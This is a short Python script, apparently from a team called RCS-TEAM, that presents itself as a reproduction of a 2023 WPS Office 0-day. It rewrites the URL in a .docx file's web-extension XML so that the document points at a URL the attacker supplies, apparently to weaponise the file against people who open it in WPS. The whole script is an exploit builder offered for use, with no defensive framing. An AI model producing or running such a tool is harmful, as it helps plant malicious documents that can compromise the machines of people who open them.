2023 HW WPS 0day漏洞复现

import sys

import zipfile

from lxml import etree

def print_banner():

    banner = """

    ________  _____ ______   ________  ___    ___ _________  ___  ___  ________  ________     

    |   __  |   _   _   |   __  |    /  /|___   ___\  |  |   __  |   __      

      |    \__     |    /  / ||___   _   \    |    |     

         __    \|__|      ____     / /           __     __     _  _  

                    ___|   / /                    \  | 

        __ __ __    __ __    /  /|          __ __ __ __ __ __\ _ 

        |__||__||__|     |__||__|    /__/           |__|  |__||__||__||__||__||__|

    RCS-TEAM

    """

    print(banner)

def replace_url_in_docx(docx_path, new_url):

    """

    Replace the URL in a docx file's webExtension1.xml.

    Parameters:

    - docx_path: Path to the .docx file

    - new_url: New URL to replace the existing one

    """

    xml_path = "word/webExtensions/webExtension1.xml"

    namespace = {"wpswe": "http://www.wps.cn/officeDocument/2018/webExtension"}

    with zipfile.ZipFile(docx_path, "a") as zipf:

        xml_content = zipf.read(xml_path)

        root = etree.fromstring(xml_content)

        url_tag = root.find(".//wpswe:url", namespaces=namespace)

        if url_tag is not None:

            url_tag.text = new_url

        zipf.writestr(xml_path, etree.tostring(root))

def main():

    if len(sys.argv) != 3:

        print("Usage: python script.py <path_to_docx> <new_url>")

        sys.exit(1)

    docx_path = sys.argv[1]

    new_url = sys.argv[2]

    replace_url_in_docx(docx_path, new_url)

    print(f"URL replaced in {docx_path} with {new_url}")

if __name__ == "__main__":

    print_banner()

    main()